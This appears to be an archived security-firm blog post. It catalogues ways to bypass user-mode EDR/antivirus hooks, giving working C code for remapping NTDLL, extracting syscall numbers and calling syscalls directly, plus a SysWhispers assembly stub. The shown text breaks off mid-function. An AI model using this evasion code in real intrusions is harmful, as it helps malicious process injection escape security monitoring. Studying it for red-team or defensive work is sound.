{
	"id": "d3fb272a-1f3a-4240-9d98-eb9407d91a5c",
	"created_at": "2026-04-06T00:19:48.317762Z",
	"updated_at": "2026-04-10T03:24:29.385886Z",
	"deleted_at": null,
	"sha1_hash": "4fdf096d8fde0f2ab0ca84c90f8ba80aa9e5537d",
	"title": "Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 290039,
	"plain_text": "Bypassing User-Mode Hooks and Direct Invocation of System Calls\r\nfor Red Teams\r\nBy Admin\r\nPublished: 2020-12-31 · Archived: 2026-04-05 22:02:08 UTC\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 1 of 30\n\nAdversary Simulation\r\nOur best in class red team can deliver a holistic cyber attack simulation to provide a true evaluation of your\r\norganisation’s cyber resilience.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 2 of 30\n\nApplication\r\nSecurity\r\nLeverage the team behind the industry-leading Web Application and Mobile Hacker’s Handbook series.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 3 of 30\n\nPenetration\r\nTesting\r\nMDSec’s penetration testing team is trusted by companies from the world’s leading technology firms to\r\nglobal financial institutions.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 4 of 30\n\nResponse\r\nOur certified team work with customers at all stages of the Incident Response lifecycle through our range\r\nof proactive and reactive services.\r\nResearch\r\nMDSec’s dedicated research team periodically releases white papers, blog posts, and tooling.\r\nTraining\r\nMDSec’s training courses are informed by our security consultancy and research functions, ensuring you\r\nbenefit from the latest and most applicable trends in the field.\r\nInsights\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 5 of 30\n\nView insights from MDSec’s consultancy and research teams.\r\nIntroduction\r\nThe motivation to bypass user-mode hooks initially began with improving the success rate of process injection.\r\nThere can be legitimate reasons to perform injection. UI Automation and Active Accessibility will use it to read\r\nand write memory of a GUI process. Spy++ uses it to log window messages sent and received between processes.\r\nBut in most cases, it’s used for one of the following:\r\nHiding code inside a legitimate process to evade, prolong detection and removal.\r\nExecuting code in the context of another user or elevating privileges.\r\nModifying memory to cheat at online games.\r\nAnd another less cited reason is to prevent all the above completing. Generally, process injection from user-mode (UM) applications needs the following steps.\r\n1. Open a target process.\r\n2. Allocate new or use existing memory to store code.\r\n3. Write code with optional data to target process.\r\n4. Execute code via new or existing thread.\r\nWhile it’s relatively simple to implement, the most common problem red teamers, game cheats and malware\r\ndevelopers encounter today is kernel-mode (KM) notifications, mini-filter drivers and UM hooks installed by\r\nsecurity vendors. UM hooks usually exist for system calls located inside NTDLL, which is about as close to the\r\nkernel as a UM process can be. With full access to the kernel, you’d assume security vendors have total control\r\nover the system and can block any type of malicious activity quite easily. But as some of you will know already,\r\nWindows has a security feature builtin since Vista called PatchGuard (PG) that protects critical areas of the kernel\r\nfrom being modified. Those areas include:\r\nSystem Service Descriptor Table (SSDT)\r\nGlobal Descriptor Table (GDT)\r\nInterrupt Descriptor Table (IDT)\r\nSystem images ( ntoskrnl.exe , ndis.sys , hal.dll )\r\nProcessor MSRs (syscall)\r\nPG (much to the disappointment of security vendors and malware developers) restricts any software making\r\nextensions to the Windows kernel (even those for legitimate reasons). And up until its introduction, it was\r\ncommonplace for security vendors to patch the SSDT. (something also used by early versions\r\nof RegMon by Sysinternals). Microsoft’s position is that any software, whether malicious or not, that patches the\r\nkernel can lead to reliability, performance and, most importantly, security issues. Following the release of PG,\r\nsecurity vendors had to completely redesign their anti-malware solutions. Circumventing PG is an option, but it’s\r\nnot a safe, longterm solution for software intended to protect your operating system.\r\nIn this post we will catalogue the most popular and effective techniques for bypassing user-mode hooks, outlining\r\nadvantages and disadvantages of each approach for red teamers where relevant. Finally, we will conclude with\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 6 of 30\n\nsome approaches that can be used by defenders to protect or detect these techniques.\r\nKernel-Mode Notifications\r\nBefore exploring UM hook bypass methods, it’s worth noting that as an alternative to patching or hooking in the\r\nkernel, Windows facilitates receiving notifications about events useful in detecting malware. The more common\r\nevents include creation, termination of a process or thread and the mapping of an image/DLL for execution.\r\nMicrosoft recommends security vendors use mini-filter drivers to intercept, examine and optionally block I/O\r\nevents. A significant amount of file system and network functionality is implemented via\r\nthe NtDeviceIoControlFile system call.\r\nBypass Methods\r\nSince Microsoft doesn’t provide a legitimate way for kernel components to receive notifications about memory\r\noperations, this forces vendors to install UM hooks in each process. In response to this, various techniques to\r\nbypass them have been devised and what follows is a brief description and source code in C to demonstrate some\r\nof those methods currently being used.\r\n1. Export Address Table (EAT)\r\nIt’s common for malware to resolve the address of system calls using a combination\r\nof GetModuleHandle and GetProcAddress. Another way is to manually locate NTDLL.dll in the Process\r\nEnvironment Block (PEB) and find the system call through parsing the Export Address Table (EAT). The\r\nfollowing code is what you might see used to parse the EAT.\r\nstatic\r\nLPVOID\r\nWINAPI\r\nGetProcAddressFromEAT(\r\n LPVOID DllBase,\r\n const char *FunctionName)\r\n{\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 7 of 30\n\nPIMAGE_DOS_HEADER DosHeader;\r\n PIMAGE_NT_HEADERS NtHeaders;\r\n DWORD NumberOfNames, VirtualAddress;\r\n PIMAGE_DATA_DIRECTORY DataDirectory;\r\n PIMAGE_EXPORT_DIRECTORY ExportDirectory;\r\n PDWORD Functions;\r\n PDWORD Names;\r\n PWORD Ordinals;\r\n PCHAR Name;\r\n LPVOID ProcAddress=NULL;\r\n \r\n DosHeader = (PIMAGE_DOS_HEADER)DllBase;\r\n NtHeaders = RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader-\u003ee_lfanew);\r\n DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders-\u003eOptionalHeader.DataDirectory;\r\n VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n if (VirtualAddress==0) return NULL;\r\n \r\n ExportDirectory = RVA2VA(PIMAGE_EXPORT_DIRECTORY, DllBase, VirtualAddress);\r\n NumberOfNames = ExportDirectory-\u003eNumberOfNames;\r\n if (NumberOfNames==0) return NULL;\r\n \r\n Functions = RVA2VA(PDWORD,DllBase, ExportDirectory-\u003eAddressOfFunctions);\r\n Names = RVA2VA(PDWORD,DllBase, ExportDirectory-\u003eAddressOfNames);\r\n Ordinals = RVA2VA(PWORD, DllBase, ExportDirectory-\u003eAddressOfNameOrdinals);\r\n \r\n do {\r\n Name = RVA2VA(PCHAR, DllBase, Names[NumberOfNames-1]);\r\n if(lstrcmpA(Name, FunctionName) == 0) {\r\n ProcAddress = RVA2VA(LPVOID, DllBase, Functions[Ordinals[NumberOfNames-1]]);\r\n return ProcAddress;\r\n }\r\n } while (--NumberOfNames \u0026\u0026 ProcAddress == NULL);\r\n \r\n return ProcAddress;\r\n}\r\nIf using the base address of NTDLL already in memory, this won’t bypass any UM hooks for system calls. It’s fine\r\nif you wish to bypass KERNEL32 or KERNELBASE hooks, but you can just as well use GetProcAddress to\r\nmake life easier.\r\nUsually, offsec tools will attempt to unhook system calls after calling a function like this and it can work well\r\nagainst many security products. Lately, however, more reputable vendors are either blocking the attempt to\r\nunhook or simply restoring the hooks shortly after unhooking has occurred. A hook on NtProtectVirtualMemory\r\ncould easily intercept attempts to overwrite hooks.\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 8 of 30\n\n2. Dual-load 1 (Section)\r\nKnownDlls is a directory in the object namespace that contains section objects for the most common DLLs loaded\r\nby a process. It’s intended to improve performance by reducing the load time for an executable and it’s possible to\r\nmap a new copy of NTDLL into a process by opening the section name “ \\KnownDlls\\ntdll.dll “. Once the\r\nsection object is mapped, we can resolve the address of system calls as described in the previous method. There’s\r\na kernel notification for loading an image and if an EDR or AV spotted NTDLL.dll being loaded a second time,\r\nit’s probably going to examine the process for malware or at the very least notify the user of suspicious activity.\r\nWhile you can use NtOpenSection and NtMapViewOfSection to load a new copy, the other problem is that these\r\nare likely to be hooked already. Some products won’t hook NtMapViewOfSectionEx, but that’s only available\r\nsince Windows 10 1803 and it still doesn’t prevent a kernel notification for the mapping.\r\n NTSTATUS Status;\r\n LARGE_INTEGER SectionOffset;\r\n SIZE_T ViewSize;\r\n PVOID ViewBase;\r\n HANDLE SectionHandle;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n UNICODE_STRING KnownDllsNtDllName;\r\n FARPROC Function;\r\n \r\n INIT_UNICODE_STRING(\r\n KnownDllsNtDllName,\r\n L\"\\\\KnownDlls\\\\ntdll.dll\"\r\n );\r\n \r\n InitializeObjectAttributes(\r\n \u0026ObjectAttributes,\r\n \u0026KnownDllsNtDllName,\r\n OBJ_CASE_INSENSITIVE,\r\n 0,\r\n NULL\r\n );\r\n Status = NtOpenSection(\r\n \u0026SectionHandle,\r\n SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_QUERY,\r\n \u0026ObjectAttributes\r\n );\r\n \r\n if(!NT_SUCCESS(Status)) {\r\n SET_LAST_NT_ERROR(Status);\r\n printf(\"Unable to open section %ld\\n\", GetLastError());\r\n goto cleanup;\r\n }\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 9 of 30\n\n//\r\n // Set the offset to start mapping from.\r\n //\r\n SectionOffset.LowPart = 0;\r\n SectionOffset.HighPart = 0;\r\n \r\n //\r\n // Set the desired base address and number of bytes to map.\r\n //\r\n ViewSize = 0;\r\n ViewBase = NULL;\r\n \r\n Status = NtMapViewOfSection(\r\n SectionHandle,\r\n NtCurrentProcess(),\r\n \u0026ViewBase,\r\n 0, // ZeroBits\r\n 0, // CommitSize\r\n \u0026SectionOffset,\r\n \u0026ViewSize,\r\n ViewShare,\r\n 0,\r\n PAGE_EXECUTE_READ\r\n );\r\n \r\n if(!NT_SUCCESS(Status)) {\r\n SET_LAST_NT_ERROR(Status);\r\n printf(\"Unable to map section %ld\\n\", GetLastError());\r\n goto cleanup;\r\n }\r\n \r\n Function = (FARPROC)GetProcAddressFromEAT(ViewBase, \"NtOpenProcess\");\r\n \r\n printf(\"NtOpenProcess : %p, %ld\\n\", Function, GetLastError());\r\n \r\ncleanup:\r\n if(ViewBase != NULL) {\r\n NtUnmapViewOfSection(\r\n NtCurrentProcess(),\r\n ViewBase\r\n );\r\n }\r\n \r\n if(SectionHandle != NULL) {\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 10 of 30\n\nNtClose(SectionHandle);\r\n }\r\n3. Dual-load 2 (Disk)\r\nThe only additional step when compared to the previous method is that we open a file handle to\r\nC:\\Windows\\System32\\NTDLL.dll and use it to create a new section object with the SEC_IMAGE page protection.\r\nThen we map the object for reading or executing. NtOpenFile, NtCreateFile can be hooked, but even if they\r\naren’t, this doesn’t solve the problems highlighted in the previous method.\r\n NTSTATUS Status;\r\n LARGE_INTEGER SectionOffset;\r\n SIZE_T ViewSize;\r\n PVOID ViewBase=NULL;\r\n HANDLE FileHandle=NULL, SectionHandle=NULL;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n IO_STATUS_BLOCK StatusBlock;\r\n UNICODE_STRING FileName;\r\n FARPROC Function;\r\n \r\n //\r\n // Try open ntdll.dll on disk for reading.\r\n //\r\n INIT_UNICODE_STRING(\r\n FileName,\r\n L\"\\\\??\\\\C:\\\\Windows\\\\System32\\\\ntdll.dll\"\r\n );\r\n \r\n InitializeObjectAttributes(\r\n \u0026ObjectAttributes,\r\n \u0026FileName,\r\n OBJ_CASE_INSENSITIVE,\r\n 0,\r\n NULL\r\n );\r\n Status = NtOpenFile(\r\n \u0026FileHandle,\r\n FILE_READ_DATA,\r\n \u0026ObjectAttributes,\r\n \u0026StatusBlock,\r\n FILE_SHARE_READ,\r\n NULL\r\n );\r\n \r\n if(!NT_SUCCESS(Status)) {\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 11 of 30\n\nSET_LAST_NT_ERROR(Status);\r\n printf(\"NtOpenFile failed %ld\\n\", GetLastError());\r\n goto cleanup;\r\n }\r\n \r\n //\r\n // Create section\r\n //\r\n Status = NtCreateSection(\r\n \u0026SectionHandle,\r\n SECTION_ALL_ACCESS,\r\n NULL,\r\n NULL,\r\n PAGE_READONLY,\r\n SEC_IMAGE,\r\n FileHandle\r\n );\r\n if(!NT_SUCCESS(Status)) {\r\n SET_LAST_NT_ERROR(Status);\r\n printf(\"NtCreateSection failed %ld\\n\", GetLastError());\r\n goto cleanup;\r\n }\r\n \r\n //\r\n // Set the offset to start mapping from.\r\n //\r\n SectionOffset.LowPart = 0;\r\n SectionOffset.HighPart = 0;\r\n \r\n //\r\n // Set the desired base address and number of bytes to map.\r\n //\r\n ViewSize = 0;\r\n ViewBase = NULL;\r\n \r\n Status = NtMapViewOfSection(\r\n SectionHandle,\r\n NtCurrentProcess(),\r\n \u0026ViewBase,\r\n 0, // ZeroBits\r\n 0, // CommitSize\r\n \u0026SectionOffset,\r\n \u0026ViewSize,\r\n ViewShare,\r\n 0,\r\n PAGE_EXECUTE_READ\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 12 of 30\n\n);\r\n \r\n if(!NT_SUCCESS(Status)) {\r\n SET_LAST_NT_ERROR(Status);\r\n printf(\"Unable to map section %ld\\n\", GetLastError());\r\n goto cleanup;\r\n }\r\n \r\n Function = (FARPROC)GetProcAddressFromEAT(ViewBase, \"NtOpenProcess\");\r\n \r\n printf(\"NtOpenProcess : %p, %ld\\n\", Function, GetLastError());\r\n \r\ncleanup:\r\n if(ViewBase != NULL) {\r\n NtUnmapViewOfSection(\r\n NtCurrentProcess(),\r\n ViewBase\r\n );\r\n }\r\n \r\n if(SectionHandle != NULL) {\r\n NtClose(SectionHandle);\r\n }\r\n \r\n if(FileHandle != NULL) {\r\n NtClose(FileHandle);\r\n }\r\n4. Extracting SSN Code Stub (Disk)\r\nOpen a file handle to C:\\Windows\\System32\\NTDLL.dll . Create and map a section object with SEC_COMMIT and\r\nPAGE_READONLY page protection. (to try bypass any hooks and notifications). The system call that attacker needs\r\nis then resolved by parsing of the PE header and copying the call stub to executable memory. One could also use it\r\nto overwrite any potential hooks in the existing copy of NTDLL, but that will require using\r\nNtProtectVirtualMemory , which may already be hooked. Most system calls are usually no more than 32 bytes,\r\nbut if the length of stub is required, 64-bit PE files support an exception directory which can be used to calculate\r\nit. NtOpenFile , NtCreateFile , NtReadFile might be hooked and reading NTDLL.dll from disk will look\r\nsuspicious.\r\nstatic\r\nDWORD\r\nWINAPI\r\nRvaToOffset(\r\n PIMAGE_NT_HEADERS NtHeaders,\r\n DWORD Rva)\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 13 of 30\n\n{\r\n PIMAGE_SECTION_HEADER SectionHeader;\r\n DWORD i, Size;\r\n \r\n if(Rva == 0) return 0;\r\n \r\n SectionHeader = IMAGE_FIRST_SECTION(NtHeaders);\r\n \r\n for(i = 0; i\u003cNUMBER_OF_SECTIONS(NtHeaders); i++) {\r\n \r\n Size = SectionHeader[i].Misc.VirtualSize ?\r\n SectionHeader[i].Misc.VirtualSize : SectionHeader[i].SizeOfRawData;\r\n \r\n if(SectionHeader[i].VirtualAddress \u003c= Rva \u0026\u0026\r\n Rva \u003c= (DWORD)SectionHeader[i].VirtualAddress + SectionHeader[i].SizeOfRawData)\r\n {\r\n if(Rva \u003e= SectionHeader[i].VirtualAddress \u0026\u0026\r\n Rva \u003c SectionHeader[i].VirtualAddress + Size) {\r\n \r\n return SectionHeader[i].PointerToRawData + (Rva - SectionHeader[i].VirtualAddress);\r\n }\r\n }\r\n }\r\n return 0;\r\n}\r\nstatic\r\nPVOID\r\nWINAPI\r\nGetProcAddressFromMappedDLL(\r\n PVOID DllBase,\r\n const char *FunctionName)\r\n{\r\n PIMAGE_DOS_HEADER DosHeader;\r\n PIMAGE_NT_HEADERS NtHeaders;\r\n PIMAGE_SECTION_HEADER SectionHeader;\r\n PIMAGE_DATA_DIRECTORY DataDirectory;\r\n PIMAGE_EXPORT_DIRECTORY ExportDirectory;\r\n DWORD Rva, Offset, NumberOfNames;\r\n PCHAR Name;\r\n PDWORD Functions, Names;\r\n PWORD Ordinals;\r\n \r\n DosHeader = (PIMAGE_DOS_HEADER)DllBase;\r\n NtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)DllBase + DosHeader-\u003ee_lfanew);\r\n DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders-\u003eOptionalHeader.DataDirectory;\r\n \r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 14 of 30\n\nRva = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n Offset = RvaToOffset(NtHeaders, Rva);\r\n ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)DllBase + Offset);\r\n NumberOfNames = ExportDirectory-\u003eNumberOfNames;\r\n Offset = RvaToOffset(NtHeaders, ExportDirectory-\u003eAddressOfNames);\r\n Names = (PDWORD)((PBYTE)DllBase + Offset);\r\n Offset = RvaToOffset(NtHeaders, ExportDirectory-\u003eAddressOfFunctions);\r\n Functions = (PDWORD)((PBYTE)DllBase + Offset);\r\n \r\n Offset = RvaToOffset(NtHeaders, ExportDirectory-\u003eAddressOfNameOrdinals);\r\n Ordinals = (PWORD)((PBYTE)DllBase + Offset);\r\n \r\n do {\r\n Name = (PCHAR)(RvaToOffset(NtHeaders, Names[NumberOfNames - 1]) + (PBYTE)DllBase);\r\n if(lstrcmpA(Name, FunctionName) == 0) {\r\n return (PVOID)((PBYTE)DllBase + RvaToOffset(NtHeaders, Functions[Ordinals[NumberOfNames - 1]]));\r\n }\r\n } while (--NumberOfNames);\r\n \r\n return NULL;\r\n}\r\n5. Extracting SSN (Disk)\r\nIt’s the exact same as the previous method described, except we only extract the System Service Number (SSN)\r\nand manually execute it with a code stub of our own. SyscallTables demonstrates dumping the numbers,\r\nwhile Hell’s Gate demonstrates using them.\r\n6. FireWalker\r\nFireWalker: A New Approach to Generically Bypass User-Space EDR Hooking works by installing a Vectored\r\nException Handler and setting the CPU trap flag to single-step through a Win32 API or system call. The exception\r\nhandler then attempts to locate the original system call stub. Another approach to this is using a disassembler and\r\nseparate routines to build a call graph of the system call. Windows has a builtin disassembler that can be used to\r\ncalculate the length of an instruction. The downside is that it doesn’t provide a binary view of an opcode, so\r\nthe Zydis disassembler library may be a better option. Internally, the debugger engine for windows has support for\r\nbuilding a call graph of a function (to support the uf command in WinDbg), but unfortunately there’s no API\r\nexposed to developers. \r\n7. SysWhispers\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 15 of 30\n\nSysWhispers contains a Python script that will construct a code stub for system calls to run on AMD64/x64\r\nsystems. The stub is compatible with Windows between XP/2003 and 10/2019. The generator uses SSNs taken\r\nfrom a list maintained by j00ru. And the correct SSN is selected at runtime based on the version of the operating\r\nsystem that’s detected via the PEB. In more recent versions of Windows, there’s also the option of\r\nusing KUSER_SHARED_DATA to read the major, minor and build version. SysWhispers is currently popular\r\namong red teamers for bypassing AV and EDR. The following is an example code stub generated for\r\nNtOpenProcess :\r\nNtOpenProcess:\r\nmov rax, [gs:60h] ; Load PEB into RAX.\r\nNtOpenProcess_Check_X_X_XXXX: ; Check major version.\r\ncmp dword [rax+118h], 5\r\nje NtOpenProcess_SystemCall_5_X_XXXX\r\ncmp dword [rax+118h], 6\r\nje NtOpenProcess_Check_6_X_XXXX\r\ncmp dword [rax+118h], 10\r\nje NtOpenProcess_Check_10_0_XXXX\r\njmp NtOpenProcess_SystemCall_Unknown\r\nNtOpenProcess_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8.\r\ncmp dword [rax+11ch], 0\r\nje NtOpenProcess_Check_6_0_XXXX\r\ncmp dword [rax+11ch], 1\r\nje NtOpenProcess_Check_6_1_XXXX\r\ncmp dword [rax+11ch], 2\r\nje NtOpenProcess_SystemCall_6_2_XXXX\r\ncmp dword [rax+11ch], 3\r\nje NtOpenProcess_SystemCall_6_3_XXXX\r\njmp NtOpenProcess_SystemCall_Unknown\r\nNtOpenProcess_Check_6_0_XXXX: ; Check build number for Windows Vista.\r\ncmp word [rax+120h], 6000\r\nje NtOpenProcess_SystemCall_6_0_6000\r\ncmp word [rax+120h], 6001\r\nje NtOpenProcess_SystemCall_6_0_6001\r\ncmp word [rax+120h], 6002\r\nje NtOpenProcess_SystemCall_6_0_6002\r\njmp NtOpenProcess_SystemCall_Unknown\r\nNtOpenProcess_Check_6_1_XXXX: ; Check build number for Windows 7.\r\ncmp word [rax+120h], 7600\r\nje NtOpenProcess_SystemCall_6_1_7600\r\ncmp word [rax+120h], 7601\r\nje NtOpenProcess_SystemCall_6_1_7601\r\njmp NtOpenProcess_SystemCall_Unknown\r\nNtOpenProcess_Check_10_0_XXXX: ; Check build number for Windows 10.\r\ncmp word [rax+120h], 10240\r\nje NtOpenProcess_SystemCall_10_0_10240\r\ncmp word [rax+120h], 10586\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 16 of 30\n\nje NtOpenProcess_SystemCall_10_0_10586\r\ncmp word [rax+120h], 14393\r\nje NtOpenProcess_SystemCall_10_0_14393\r\ncmp word [rax+120h], 15063\r\nje NtOpenProcess_SystemCall_10_0_15063\r\ncmp word [rax+120h], 16299\r\nje NtOpenProcess_SystemCall_10_0_16299\r\ncmp word [rax+120h], 17134\r\nje NtOpenProcess_SystemCall_10_0_17134\r\ncmp word [rax+120h], 17763\r\nje NtOpenProcess_SystemCall_10_0_17763\r\ncmp word [rax+120h], 18362\r\nje NtOpenProcess_SystemCall_10_0_18362\r\ncmp word [rax+120h], 18363\r\nje NtOpenProcess_SystemCall_10_0_18363\r\ncmp word [rax+120h], 19041\r\nje NtOpenProcess_SystemCall_10_0_19041\r\njmp NtOpenProcess_SystemCall_Unknown\r\nNtOpenProcess_SystemCall_5_X_XXXX: ; Windows XP and Server 2003\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_0_6000: ; Windows Vista SP0\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_0_6001: ; Windows Vista SP1 and Server 2008 SP0\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_0_6002: ; Windows Vista SP2 and Server 2008 SP2\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_1_7600: ; Windows 7 SP0\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0\r\nmov eax, 0023h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012\r\nmov eax, 0024h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2\r\nmov eax, 0025h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511)\r\nmov eax, 0026h\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 17 of 30\n\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004)\r\nmov eax, 0026h\r\njmp NtOpenProcess_Epilogue\r\nNtOpenProcess_SystemCall_Unknown: ; Unknown/unsupported version.\r\nret\r\nNtOpenProcess_Epilogue:\r\nmov r10, rcx\r\nsyscall\r\nret\r\n8. Sorting by System Call Address\r\nThere’s a method of discovering SSNs that doesn’t require loading a new copy of NTDLL, doesn’t require\r\nunhooking, doesn’t require querying the PEB or KUSER_SHARED_DATA for version information, and doesn’t require\r\nreading them from code stubs manually. Moreover, it’s relatively simple to implement and should work\r\nsuccessfully on all versions of Windows. Admittedly, it’s based on an unhooking technique used in some\r\nransomware that was first suggested by userman01 on discord. His comment was:\r\n“An easy way to get syscall indices, even if AV overwrites them, … simply enumerate all Zw* stubs and then sort\r\nthem by address.”\r\nSounds perfect! GetSyscallList() will parse the EAT of NTDLL.dll , locating all function names that begin\r\nwith “Zw”. It replaces “Zw” with “Nt” before generating a hash of the function name. It then saves the hash and\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 18 of 30\n\naddress of code stub to a table of SYSCALL_ENTRY structures. After gathering all the names, it uses a simple\r\nbubble sort of code addresses in ascending order. The SSN is the index of the system call stored in the table. \r\n#define RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)\r\nstatic\r\nvoid\r\nGetSyscallList(PSYSCALL_LIST List) {\r\n PPEB_LDR_DATA Ldr;\r\n PLDR_DATA_TABLE_ENTRY LdrEntry;\r\n PIMAGE_DOS_HEADER DosHeader;\r\n PIMAGE_NT_HEADERS NtHeaders;\r\n DWORD i, j, NumberOfNames, VirtualAddress, Entries=0;\r\n PIMAGE_DATA_DIRECTORY DataDirectory;\r\n PIMAGE_EXPORT_DIRECTORY ExportDirectory;\r\n PDWORD Functions;\r\n PDWORD Names;\r\n PWORD Ordinals;\r\n PCHAR DllName, FunctionName;\r\n PVOID DllBase;\r\n PSYSCALL_ENTRY Table;\r\n SYSCALL_ENTRY Entry;\r\n \r\n //\r\n // Get the DllBase address of NTDLL.dll\r\n // NTDLL is not guaranteed to be the second in the list.\r\n // so it's safer to loop through the full list and find it.\r\n Ldr = (PPEB_LDR_DATA)NtCurrentTeb()-\u003eProcessEnvironmentBlock-\u003eLdr;\r\n \r\n // For each DLL loaded\r\n for (LdrEntry=(PLDR_DATA_TABLE_ENTRY)Ldr-\u003eReserved2[1];\r\n LdrEntry-\u003eDllBase != NULL;\r\n LdrEntry=(PLDR_DATA_TABLE_ENTRY)LdrEntry-\u003eReserved1[0])\r\n {\r\n DllBase = LdrEntry-\u003eDllBase;\r\n DosHeader = (PIMAGE_DOS_HEADER)DllBase;\r\n NtHeaders = RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader-\u003ee_lfanew);\r\n DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders-\u003eOptionalHeader.DataDirectory;\r\n VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n if(VirtualAddress == 0) continue;\r\n \r\n ExportDirectory = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, DllBase, VirtualAddress);\r\n \r\n //\r\n // If this is NTDLL.dll, exit loop\r\n //\r\n DllName = RVA2VA(PCHAR,DllBase, ExportDirectory-\u003eName);\r\nhttps://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\r\nPage 19 of 30\n\nif((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;\r\n if((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;\r\n }\r\n \r\n NumberOfNames = ExportDirectory-\u003eNumberOfNames;\r\n \r\n Functions = RVA2VA(PDWORD,DllBase, ExportDirectory-\u003eAddressOfFunctions);\r\n Names = RVA2VA(PDWORD,DllBase, 